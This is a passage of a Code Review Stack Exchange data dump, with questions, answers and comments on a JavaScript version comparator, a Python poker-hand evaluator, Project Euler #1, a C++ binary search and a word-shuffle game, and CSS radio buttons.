following</p>\n\n<pre><code> 01 == 1 == 1.0.0 == 01.0.0 == 1.00.00\n 0.01.0 == 0.1.0\n 0.0.1 < 0.1.0\n 2.0.1 < 2.1.0\n 1.9.0 < 2\n</code></pre>\n\n<p>If we then pad the strings to match (each version str) parts sizes, and remove leading zeros. </p>\n\n<pre><code> 1 and 1.0.0 become 100 and 100\n 1 and 2 become 1 and 2\n 1 and 0.0.1 become 100 and 1\n 1.99.0 and 1 become 1990 and 1000\n</code></pre>\n\n<p>Then use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval\" rel=\"nofollow noreferrer\"><code>eval</code></a> to do the final operation. If you don't like <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval\" rel=\"nofollow noreferrer\"><code>eval</code></a>, you can use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function\" rel=\"nofollow noreferrer\"><code>new Function</code></a></p>\n\n<h2>Example</h2>\n\n<p>It is assumed that the operator is defined in the source (not as an user input). If the operator is a user input string then you should validate or normalize that string before calling the function. </p>\n\n<p>An invalid operator will throw an exception.</p>\n\n<pre><code>// logical operator optional. Default \"==\"\n// \"==\", \"<\", \">\", \"<=\", \">=\"\n// \"=\" is considered to be \"==\"\n// can also use \"!=\", \"!==\", \"===\"\n// strA, strB must be valid version strings\nfunction compareVersionStrings(strA, strB, operator = \"==\") { \n const a = strA.split(\".\"), b = strB.split(\".\");\n const len = Math.max(a.length, b.length);\n var valA = a.shift(), valB = b.shift(), i = 1;\n while (i < len) {\n const vA = a[i] !== undefined ? a[i] : \"\";\n const vB = b[i] !== undefined ? b[i] : \"\";\n const digits = Math.max(vA.length, vB.length);\n valA += vA.padStart(digits, \"0\");\n valB += vB.padStart(digits, \"0\");\n i++;\n }\n valA = valA.replace(/0*\\d$/,\"\");\n valB = valB.replace(/0*\\d$/,\"\");\n operator = operator === \"=\" ? \"==\" : operator;\n return eval(`${valA} ${operator} ${valB}`);\n // or\n return (new Function(`return ${valA} ${operator} ${valB})`)();\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T13:16:53.793",
"Id": "217619",
"ParentId": "217593",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T02:15:59.953",
"Id": "217593",
"Score": "5",
"Tags": [
"javascript",
"beginner",
"comparative-review",
"react-native"
],
"Title": "Comparing 2 iOS and Android versions"
} | 217593 |
<p>This is what the function is doing: it gets two arrays of tuples with 5 items each - hand = [H1,H2,H3,H4,H5] and board = [B1,B2,B3,B4,B5]</p>
<p>What I need to do is check all arrays formed by 2 items from hand and 3 items from board, like combination = [Hn,Hm,Bi,Bj,Bk] (100 combinations in total)</p>
<p>Then I need to compare each one of the combinations against a dictionary to get the combination rank, and then return the best array (best rank) and the rank itself:</p>
<pre><code>def check_hand(hand, board, dictionary_A, dictionary_B):
best_hand = []
first_int = True
for h1 in range (0, 4):
for h2 in range (h1+1, 5):
for b1 in range (0, 3):
for b2 in range (b1+1, 4):
for b3 in range (b2+1, 5):
hand_check = []
hand_check.append(hand[m1])
hand_check.append(hand[m2])
hand_check.append(board[b1])
hand_check.append(board[b2])
hand_check.append(board[b3])
hand_check = sort(hand_check) #Custom sort for my array of objects
hand_ranks = "".join([str(hand_check[0].rank),str(hand_check[1].rank),str(hand_check[2].rank),str(hand_check[3].rank),str(hand_check[4].rank)])
if (hand_check[0].suit == hand_check[1].suit and hand_check[1].suit == hand_check[2].suit and hand_check[2].suit == hand_check[3].suit and hand_check[3].suit == hand_check[4].suit):
control = [dictionary_A[hand_ranks][0],dictionary_A[hand_ranks][1]]
else:
control = [dictionary_B[hand_ranks][0],dictionary_B[hand_ranks][1]]
if first_int:
best_hand = hand_check
rank = control
first_int = False
elif (int(control[0]) > int(rank[0])):
rank = control
best_hand = hand_check
elif (int(control[0]) == int(rank[0])):
if (int(control[1]) > int(rank[1])):
rank = control
best_hand = hand_check
return best_hand, rank[0]
</code></pre>
<p>I need to run this check for 2 million different hands and interact over 1000 times for every hand (Ideally I would run it for at least 100000 times for every hand, for a more statistically accurate result).
Any ideas on how to make it more efficient?</p>
<p>Examples:
I added some "prints" on the way for better understanding:</p>
<p>Hand: Q♥K♥Q♠K♠3♦︎
Board: 2♣2♥J♦︎6♥4♦︎</p>
<p>2♣2♥J♦︎Q♥K♥ - 2♣2♥6♥Q♥K♥ - 2♣2♥4♦︎Q♥K♥ - 2♣6♥J♦︎Q♥K♥ - 2♣4♦︎J♦︎Q♥K♥ -
2♣4♦︎6♥Q♥K♥ - 2♥6♥J♦︎Q♥K♥ - 2♥4♦︎J♦︎Q♥K♥ - 2♥4♦︎6♥Q♥K♥ - 4♦︎6♥J♦︎Q♥K♥ -
2♣2♥J♦︎Q♥Q♠ - 2♣2♥6♥Q♥Q♠ - 2♣2♥4♦︎Q♥Q♠ - 2♣6♥J♦︎Q♥Q♠ - 2♣4♦︎J♦︎Q♥Q♠ -
2♣4♦︎6♥Q♥Q♠ - 2♥6♥J♦︎Q♥Q♠ - 2♥4♦︎J♦︎Q♥Q♠ - 2♥4♦︎6♥Q♥Q♠ - 4♦︎6♥J♦︎Q♥Q♠ -
2♣2♥J♦︎Q♥K♠ - 2♣2♥6♥Q♥K♠ - 2♣2♥4♦︎Q♥K♠ - 2♣6♥J♦︎Q♥K♠ - 2♣4♦︎J♦︎Q♥K♠ -
2♣4♦︎6♥Q♥K♠ - 2♥6♥J♦︎Q♥K♠ - 2♥4♦︎J♦︎Q♥K♠ - 2♥4♦︎6♥Q♥K♠ - 4♦︎6♥J♦︎Q♥K♠ -
2♣2♥3♦︎J♦︎Q♥ - 2♣2♥3♦︎6♥Q♥ - 2♣2♥3♦︎4♦︎Q♥ - 2♣3♦︎6♥J♦︎Q♥ - 2♣3♦︎4♦︎J♦︎Q♥ -
2♣3♦︎4♦︎6♥Q♥ - 2♥3♦︎6♥J♦︎Q♥ - 2♥3♦︎4♦︎J♦︎Q♥ - 2♥3♦︎4♦︎6♥Q♥ - 3♦︎4♦︎6♥J♦︎Q♥ -
2♣2♥J♦︎Q♠K♥ - 2♣2♥6♥Q♠K♥ - 2♣2♥4♦︎Q♠K♥ - 2♣6♥J♦︎Q♠K♥ - 2♣4♦︎J♦︎Q♠K♥ -
2♣4♦︎6♥Q♠K♥ - 2♥6♥J♦︎Q♠K♥ - 2♥4♦︎J♦︎Q♠K♥ - 2♥4♦︎6♥Q♠K♥ - 4♦︎6♥J♦︎Q♠K♥ -
2♣2♥J♦︎K♥K♠ - 2♣2♥6♥K♥K♠ - 2♣2♥4♦︎K♥K♠ - 2♣6♥J♦︎K♥K♠ - 2♣4♦︎J♦︎K♥K♠ -
2♣4♦︎6♥K♥K♠ - 2♥6♥J♦︎K♥K♠ - 2♥4♦︎J♦︎K♥K♠ - 2♥4♦︎6♥K♥K♠ - 4♦︎6♥J♦︎K♥K♠ -
2♣2♥3♦︎J♦︎K♥ - 2♣2♥3♦︎6♥K♥ - 2♣2♥3♦︎4♦︎K♥ - 2♣3♦︎6♥J♦︎K♥ - 2♣3♦︎4♦︎J♦︎K♥ -
2♣3♦︎4♦︎6♥K♥ - 2♥3♦︎6♥J♦︎K♥ - 2♥3♦︎4♦︎J♦︎K♥ - 2♥3♦︎4♦︎6♥K♥ - 3♦︎4♦︎6♥J♦︎K♥ -
2♣2♥J♦︎Q♠K♠ - 2♣2♥6♥Q♠K♠ - 2♣2♥4♦︎Q♠K♠ - 2♣6♥J♦︎Q♠K♠ - 2♣4♦︎J♦︎Q♠K♠ -
2♣4♦︎6♥Q♠K♠ - 2♥6♥J♦︎Q♠K♠ - 2♥4♦︎J♦︎Q♠K♠ - 2♥4♦︎6♥Q♠K♠ - 4♦︎6♥J♦︎Q♠K♠ -
2♣2♥3♦︎J♦︎Q♠ - 2♣2♥3♦︎6♥Q♠ - 2♣2♥3♦︎4♦︎Q♠ - 2♣3♦︎6♥J♦︎Q♠ - 2♣3♦︎4♦︎J♦︎Q♠ -
2♣3♦︎4♦︎6♥Q♠ - 2♥3♦︎6♥J♦︎Q♠ - 2♥3♦︎4♦︎J♦︎Q♠ - 2♥3♦︎4♦︎6♥Q♠ - 3♦︎4♦︎6♥J♦︎Q♠ -
2♣2♥3♦︎J♦︎K♠ - 2♣2♥3♦︎6♥K♠ - 2♣2♥3♦︎4♦︎K♠ - 2♣3♦︎6♥J♦︎K♠ - 2♣3♦︎4♦︎J♦︎K♠ -
2♣3♦︎4♦︎6♥K♠ - 2♥3♦︎6♥J♦︎K♠ - 2♥3♦︎4♦︎J♦︎K♠ - 2♥3♦︎4♦︎6♥K♠ - 3♦︎4♦︎6♥J♦︎K♠ -</p>
<p>Best Hand: 2♣2♥J♦︎K♥K♠ Rank: 3</p>
<p>Just wondering if there is a way to run the piece of code below more efficiently. I just started to get acquainted with parallel program and think this might be an answer? But I have no idea how to do it using imap or processes.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:18:06.370",
"Id": "420977",
"Score": "3",
"body": "Welcome to Code Review. Is this real working Python code? (Introducing a comment with `//` is not syntactically valid.) What's `mao`? Also, please provide some example inputs and outputs so that we can better understand what this code accomplishes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T05:35:37.550",
"Id": "420979",
"Score": "0",
"body": "The comment is not in the original code. It is a working code. What I am trying to accomplish is to find a better way to interact 100 times between hand and board. I updated the original post with examples."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T05:41:05.180",
"Id": "420980",
"Score": "1",
"body": "In your example, 2s5h3sTc looks like an incomplete combination. Also, you still haven't explained what `mao[m1]` is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:24:35.283",
"Id": "420986",
"Score": "0",
"body": "Yes, it was incomplete. And mao = hand (also updated that)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:53:39.283",
"Id": "420991",
"Score": "3",
"body": "Python being a dynamically typed language, it is not obvious what representation your code expects for cards. A detailed runnable example would be better than a prettified one."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T08:49:31.877",
"Id": "421009",
"Score": "0",
"body": "I generalized my problem to make it easier o understand. I need this to be more efficient to be able to run it a lot (billions) of times."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:06:51.963",
"Id": "421011",
"Score": "4",
"body": "This site is for reviewing actual code. I've rolled it back to the code as it was when I reviewed it, not the hypothetical replacement."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T10:03:12.373",
"Id": "421019",
"Score": "2",
"body": "@Graipher, that's not directly relevant: the edit was made while I was writing my answer and before I posted it. But I consider the rollback justified because the edit wasn't improving the code but replacing it wholesale with code which didn't do anything remotely similar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T10:05:01.210",
"Id": "421020",
"Score": "0",
"body": "@PeterTaylor Fair enough. If I had had to consider rolling back the edit I would have checked the timestamps and noticed it, but since I only saw your comment, I didn't bother...my bad."
}
] | [
{
"body": "<blockquote>\n<pre><code> for h1 in range (0, 4):\n for h2 in range (h1+1, 5):\n for b1 in range (0, 3):\n for b2 in range (b1+1, 4):\n for b3 in range (b2+1, 5):\n hand_check = []\n hand_check.append(hand[m1])\n hand_check.append(hand[m2])\n hand_check.append(board[b1])\n hand_check.append(board[b2])\n hand_check.append(board[b3])\n</code></pre>\n</blockquote>\n\n<p>Use <code>itertools</code> for this kind of thing:</p>\n\n<pre><code>for h in itertools.combinations(hand, 2):\n for b in itertools.combinations(board, 3):\n hand_check = list(h) + list(b)\n</code></pre>\n\n<p>Also, I don't find <code>hand_check</code> to be a helpful name. In general I expect variable names to be nouns (unless they're Booleans, when predicates make sense), and when I parse <code>hand_check</code> as a noun I find that it's a <code>check</code> modified by <code>hand</code>. The smallest change would be to rename it <code>hand_to_check</code>; I prefer <code>candidate_hand</code>.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> if (hand_check[0].suit == hand_check[1].suit and hand_check[1].suit == hand_check[2].suit and hand_check[2].suit == hand_check[3].suit and hand_check[3].suit == hand_check[4].suit):\n</code></pre>\n</blockquote>\n\n<p>Ugh. Use <code>set</code>.</p>\n\n<pre><code>if len(set(card.suit for card in hand_check)) == 1:\n</code></pre>\n\n<hr>\n\n<blockquote>\n<pre><code> hand_check = sort(hand_check) #Custom sort for my array of objects\n hand_ranks = \"\".join([str(hand_check[0].rank),str(hand_check[1].rank),str(hand_check[2].rank),str(hand_check[3].rank),str(hand_check[4].rank)])\n</code></pre>\n</blockquote>\n\n\n\n<blockquote>\n<pre><code> control = [dictionary_A[hand_ranks][0],dictionary_A[hand_ranks][1]]\n else:\n control = [dictionary_B[hand_ranks][0],dictionary_B[hand_ranks][1]]\n</code></pre>\n</blockquote>\n\n<p>Firstly, why the quadruple-lookup? Why not</p>\n\n<pre><code>lookup_table = dictionary_A if only_one_suit else dictionaryB\ncontrol = lookup_table[hand_ranks]\n</code></pre>\n\n<p>?</p>\n\n<p>Secondly, although Python's string manipulation is quite fast, since you're aiming to microoptimise you should think in terms of integers rather than strings. I'd delve into the fascinating world of <a href=\"https://en.wikipedia.org/wiki/Perfect_hash_function\" rel=\"noreferrer\">perfect hashes</a> to try to get a lookup table which fits into L2 cache, or maybe even L1 with luck (there are only 6188 multisets of 5 ranks, so less than 25 kB of lookup table suffices).</p>\n\n<hr>\n\n<blockquote>\n<pre><code> if first_int:\n best_hand = hand_check\n rank = control\n first_int = False\n elif (int(control[0]) > int(rank[0])):\n rank = control\n best_hand = hand_check \n elif (int(control[0]) == int(rank[0])):\n if (int(control[1]) > int(rank[1])): \n rank = control\n best_hand = hand_check \n</code></pre>\n</blockquote>\n\n<p>If you initialise <code>rank</code> to <code>[-1]</code> then you should be able to eliminate <code>first_int</code> and simplify this to</p>\n\n<pre><code> if (control > rank):\n rank = control\n best_hand = hand_check \n</code></pre>\n\n<hr>\n\n<p>Now, I've addressed micro-optimisation above, but the first rule of optimisation is to start by looking at the algorithm.</p>\n\n<blockquote>\n <p>What I need to do is check all arrays formed by 2 items from hand and\n 3 items from board, like combination = [Hn,Hm,Bi,Bj,Bk] (100\n combinations in total)</p>\n \n <p>Then I need to compare each one of the combinations against a\n dictionary</p>\n</blockquote>\n\n<p>is wrong. What you <strong>need</strong> to do is find the set of five cards formed by 2 cards from the hand and 3 cards from the board which has the highest score.</p>\n\n<p>I'd suggest that you micro-optimise and then benchmark against a major restructuring with the following outline:</p>\n\n<pre><code>for suit in the_four_suits:\n hand_mask = build_mask((card for card in hand if card.suit == suit))\n board_mask = build_mask((card for card in board is card.suit == suit))\n check_royal_flush(hand_mask, board_mask)\n check_straight_flush(hand_mask, board_mask)\n check_flush(hand_mask)\n\nhand_counts = count_by_ranks(hand)\nboard_counts = count_by_ranks(board)\ncheck_four_of_a_kind(hand_counts)\ncheck_full_house(hand_counts)\n...\n</code></pre>\n\n<p>The key ideas are to do everything with bit manipulation and to return as soon as you know that no further checks will produce a hand better than the best you've already found. For <code>count_by_ranks</code>, if you allocate three bits per rank then overflow into the next rank is impossible since there are only four suits. So e.g. to check for a four of a kind:</p>\n\n<pre><code>total_counts = hand_counts + board_counts\npossible_fours = total_counts & 0x4924924924\n# possible_fours indicates ranks where we have all four cards between hand and board\n# We take three cards from board, so rule out ranks where all four are in the board\npossible_fours &= ~board_counts\n# Similarly, rule out ranks where all four are in hand\npossible_fours &= ~hand_counts\n# And rule out ranks where three are in hand\npossible_fours &= ~((hand_counts << 1) & (hand_counts << 2))\nif possible_fours != 0:\n # We have a four-of-a-kind: just need to extract it\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T18:23:39.073",
"Id": "421086",
"Score": "0",
"body": "`list(h) + list(b)` could be `list(h + b)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:10:01.813",
"Id": "421102",
"Score": "0",
"body": "@AlexHall It actually can't, because `h` and `b` are generators (from `itertools.combinations`). To concatenate two generators you need `itertools.chain`. It's possible that `list(chain(h, b))` might be a little more performant because it creates only one list instead of 3 (but that list is twice the size)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T22:58:07.960",
"Id": "421106",
"Score": "0",
"body": "Thanks, peter. Take a look at the edit on the original post!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T05:18:24.267",
"Id": "421140",
"Score": "0",
"body": "No, h and b are tuples. In fact `h+b` might be good enough on its own without converting to a list."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:04:09.237",
"Id": "217611",
"ParentId": "217597",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:11:17.790",
"Id": "217597",
"Score": "0",
"Tags": [
"python",
"performance",
"playing-cards"
],
"Title": "Forming the best possible poker hand"
} | 217597 |
<pre><code>def prob_1():
sum_mult=[] #Create an empty list which will take sum of multiples of 3 and 5
check_sum=0
for i in range(1,1000): #Take numbers till 1000
#if(i)
if( (i%3)==0 or (i%5)==0 ): #divisor condition
sum_mult.append(i)
return sum(sum_mult) #return sum of list
</code></pre>
<p>I am just starting out my journey as a programmer, here is my code and I would love to see any critical feedback and other alternative solutions maybe using some clever hack of using lambda function's etc.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:05:51.447",
"Id": "420982",
"Score": "0",
"body": "To make this program really fast, look at any other review on this site that is also about Project Euler #1. The programming language doesn't matter, it's basically the same in all languages."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:18:23.763",
"Id": "420984",
"Score": "0",
"body": "I'm especially thinking about https://codereview.stackexchange.com/a/280, which is really fast."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T07:00:58.203",
"Id": "420994",
"Score": "2",
"body": "Is `i % 35` really the condition you would like to check?"
}
] | [
{
"body": "<p>I expect you made a typo. You don't want <code>(i%35)==0</code>, you want <code>(i%5)==0</code>.</p>\n\n<hr>\n\n<p>The <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP-8</a> style guide for Python requires 1 space before and after operators, and after commas. Use PyLint or equivalent tool to ensure you follow all of the PEP-8 guidelines.</p>\n\n<hr>\n\n<p><code>check_sum</code> is unused, and can be omitted.</p>\n\n<hr>\n\n<p>The brackets around the <code>if( ... ):</code> condition are unnecessary. This is Python, not C, C++ or Java:</p>\n\n<pre><code> if (i % 3) == 0 or (i % 5) == 0: #divisor condition\n</code></pre>\n\n<hr>\n\n<p>There is no need to create a list just to add up all the numbers after the fact. You are only using each value once, so you could simply add the numbers up as you find them:</p>\n\n<pre><code>def prob_1():\n\n sum_of_multiples = 0\n\n for i in range(1, 1000): # Take numbers up to but not including 1000\n if (i % 3) == 0 or (i % 5) == 0: #divisor condition\n sum_of_multiples += i\n\n return sum_of_multiples\n</code></pre>\n\n<hr>\n\n<p>You should add <code>\"\"\"doc_strings\"\"\"</code> to your functions:</p>\n\n<pre><code>def prob_1():\n \"\"\"\n Compute the sum of all the multiples of 3 or 5 below 1000.\n\n Returns:\n The sum of the multiples of 3 or 5, below 1000.\n \"\"\"\n\n sum_of_multiples = 0\n\n for i in range(1, 1000): # Take numbers up to but not including 1000\n if (i % 3) == 0 or (i % 5) == 0: #divisor condition\n sum_of_multiples += i\n\n return sum_of_multiples\n</code></pre>\n\n<hr>\n\n<p>You can use <s>list comprehension</s> a generator expression (thanks @Graipher) and the <code>sum(...)</code> function to compute the result, without ever creating the list in memory:</p>\n\n<pre><code>def prob_1():\n \"\"\"\n Compute the sum of all the multiples of 3 or 5 below 1000.\n\n Returns:\n The sum of the multiples of 3 or 5, below 1000.\n \"\"\"\n\n return sum(i for i in range(1000) if i % 3 == 0 or i % 5 == 0)\n</code></pre>\n\n<hr>\n\n<p>You can also solve this problem by hand with a pen, a sheet of paper, a calculator and about 1 minute of your time. A program is entirely unnecessary.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:00:07.163",
"Id": "421100",
"Score": "0",
"body": "You eventually arrive at it, but I'd also add that it is not common to parenthesize the modulo operator (or most other infix operators) like that. `i % 3 == 0` is preferred to `(i % 3) == 0`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T23:21:00.003",
"Id": "421109",
"Score": "0",
"body": "Should be `and` instead of `or`, I think. OP wants multiple of 3 **and** 5. So, `3,6,9,12,15,...` intersects `5,10,15,20,...`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:17:28.383",
"Id": "421142",
"Score": "0",
"body": "@Sigur yeah you can take two sets and apply union also."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T05:05:54.090",
"Id": "217600",
"ParentId": "217598",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:20:09.443",
"Id": "217598",
"Score": "4",
"Tags": [
"python",
"performance",
"python-3.x",
"programming-challenge"
],
"Title": "Project Euler #1: Sum of Multiples of 3 and 5 below 1000"
} | 217598 |
<p>I am trying to solve this InterviewBit question
<a href="https://www.interviewbit.com/problems/search-for-a-range/" rel="nofollow noreferrer">https://www.interviewbit.com/problems/search-for-a-range/</a>.</p>
<p>My code for this seems to be working properly and it does give me the correct answers on my IDE and on all the sample test cases online but it gives me a TLE on the online judge. It runs in O(log n) time, just a variation of simple binary search.</p>
<p>I am trying to understand what aspect of my code could be made more efficient and faster.</p>
<p>Here's my code:</p>
<pre><code>int findBound(vector<int> a, int b, bool lower){
int low=0, high=a.size()-1, mid;
while(low<=high){
mid=low+(high-low)/2;
if(a[mid]==b){
if(lower){
if((mid != (a.size()-1)) && a[mid+1]==b)
low=mid+1;
else
return mid;
}
else{
if(mid != 0 && a[mid-1]==b)
high=mid-1;
else
return mid;
}
}
else if(a[mid]>b)
high=mid-1;
else if(a[mid]<b)
low=mid+1;
}
return -1;
}
vector<int> Solution::searchRange(const vector<int> &A, int B) {
vector<int> ans(2);
ans[0]=findBound(A, B, true);
ans[1]=findBound(A, B, false);
return ans;
}
</code></pre>
| [] | [
{
"body": "<blockquote>\n <p>I am trying to understand what aspect of my code could be made more efficient and faster.</p>\n</blockquote>\n\n<p>First, the low hanging fruits...</p>\n\n<ul>\n<li><p>You unnecessarily copy the sequence of integers when passing it to <code>findBound</code>:</p>\n\n<pre><code>int findBound(vector<int> a, int b, bool lower)\n</code></pre>\n\n<p>should be</p>\n\n<pre><code>int findBound(const vector<int>& a, int b, bool lower)\n</code></pre></li>\n<li><p>You dispatch on the <code>bool lower</code> flag in every iteration of the main <code>while</code>-loop:</p>\n\n<pre><code>if(lower) {\n /* ... */\n} else {\n /* ... */\n}\n</code></pre>\n\n<p>Consider implementing two separate functions for the starting and one for the end index of the range.</p></li>\n<li><p>In one of the <code>if</code>-conditions in the middle of the main loop, you compute <code>a.size() - 1</code>. This could be done once at the top of the function and bound to a <code>const</code>-qualified variable. No need to evaluate this in every iteration.</p></li>\n</ul>\n\n<p>Now, the crucial step...</p>\n\n<ul>\n<li><p>You are doing unnecessary work when comparing values. The very first <code>if</code>-condition,</p>\n\n<pre><code>if(a[mid]==b) { // ...\n</code></pre>\n\n<p>tests for the branch with the least likelihood. Instead, check for <code>a[mid] < b</code> and <strong>nothing more</strong>. If you're wondering how this can be sufficient, check out this part of <a href=\"https://www.youtube.com/watch?v=iwJpxWHuZQY#t=28m12s\" rel=\"noreferrer\">Sean Parent's Pacific C++ talk</a> from 2018.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:19:47.510",
"Id": "217612",
"ParentId": "217610",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T08:14:29.623",
"Id": "217610",
"Score": "5",
"Tags": [
"c++",
"programming-challenge",
"time-limit-exceeded",
"complexity"
],
"Title": "Finding the upper and lower bound using binary search"
} | 217610 |
<p>We are displaying two radio buttons in page. Click on Radio buttons, it will change background color. Is there any way to improve the quality of the code?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>html,
body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
text-align: center;
}
body {
box-sizing: border-box;
padding-top: 180px;
background: #ffffff;
}
input {
display: none;
}
.button {
display: inline-block;
position: relative;
width: 50px;
height: 50px;
margin: 10px;
cursor: pointer;
}
.button span {
display: block;
position: absolute;
width: 50px;
height: 50px;
padding: 0;
top: 50%;
left: 50%;
-webkit-transform: translate(-50%, -50%);
-ms-transform: translate(-50%, -50%);
-o-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
border-radius: 100%;
background: #eeeeee;
box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26);
transition: ease .3s;
}
.button span:hover {
padding: 10px;
}
.orange .button span {
background: #FF5722;
}
.amber .button span {
background: #FFC107;
}
.layer {
display: block;
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
background: transparent;
/*transition: ease .3s;*/
z-index: -1;
}
.orange input:checked ~ .layer {
background: #F4511E;
}
.amber input:checked ~ .layer {
background: #FFB300;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><body>
<label class="orange">
<input type="radio" name="color" value="orange">
<div class="layer"></div>
<div class="button"><span></span></div>
</label>
<label class="amber">
<input type="radio" name="color" value="amber">
<div class="layer"></div>
<div class="button"><span></span></div>
</label>
</body></code></pre>
</div>
</div>
</p>
| [] | [
{
"body": "<p>The code looks pretty good. I only see a couple CSS rules that appear to be useless - for instance:</p>\n\n<pre><code>background: #eeeeee;\n</code></pre>\n\n<p>under the ruleset:</p>\n\n<pre><code>.button span {\n</code></pre>\n\n<p>But that style is overridden by the background styles under the <code><label></code> tags (i.e. <code>.orange .button span</code> and <code>.amber .button span</code>). The only reason I could think that would be needed is if you have other HTML not included in the example above that would have other colors...</p>\n\n<hr>\n\n<p>What is the goal of the styles for <code>html</code>? I read the answers to <a href=\"https://stackoverflow.com/q/2593106/1575353\"><em>Styling the <code><html></code> element in CSS?</em></a> and it leads me to believe it is an attempt to avoid scrollbars, but maybe that is incorrect.</p>\n\n<hr>\n\n<p>And is it really necessary to specify </p>\n\n<pre><code>background: #ffffff;\n</code></pre>\n\n<p>for the <code>body</code> tag? Maybe there are browser settings I am unaware of that allow a user to have a default background color other than that??</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-04T16:55:42.590",
"Id": "221670",
"ParentId": "217616",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "221670",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:00:53.513",
"Id": "217616",
"Score": "4",
"Tags": [
"html",
"css",
"user-interface"
],
"Title": "Onclick radio buttons to change background color"
} | 217616 |
<p>I'm new to C++ and while learning, I wrote a simple program that asks for a word, shuffle sthe characters and then asks another person to find the original word, given the shuffled letters.</p>
<p>I would like to know what is right and wrong in this code, what and where can I improve.</p>
<pre class="lang-cpp prettyprint-override"><code>#include <iostream>
void shuffle(std::string& word);
int main(int argc, char *argv[])
{
std::string word, shuffled, guess;
int count(0);
std::cout << "Word to guess: ";
std::cin >> word;
shuffled = word;
shuffle(shuffled);
do {
std::cout << "Guess(" << shuffled << "): ";
std::cin >> guess;
count++;
if (guess != word) {
std::cout << "No." << std::endl;
}
} while (guess != word);
std::cout << "Congratulation!" << std::endl;
std::cout << "Word found in " << count
<< " guess" << (count>1?"es":"")
<< "." << std::endl;
return 0;
}
void shuffle(std::string& word)
{
srand(time(nullptr));
for (unsigned int i(0); i < word.length(); ++i) {
std::swap(word[i], word[rand() % word.length()]);
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T12:58:28.200",
"Id": "421048",
"Score": "1",
"body": "To anyone downvoting and/or voting to close this question, please leave a comment so other users know what's wrong with it and OP can improve the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T13:15:12.183",
"Id": "421050",
"Score": "0",
"body": "One thing that could be improved is the title. Please make the title of your question a short description of what your code achieves, not what you want out of a review. Have a look at the [help-center](https://codereview.stackexchange.com/help/how-to-ask) for some more information about how to write a good question here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T14:15:47.617",
"Id": "421055",
"Score": "3",
"body": "You don't appear to be including `<string>`, `<ctime>` and other relevant headers, so how does this even compile? Please post the full, working code."
}
] | [
{
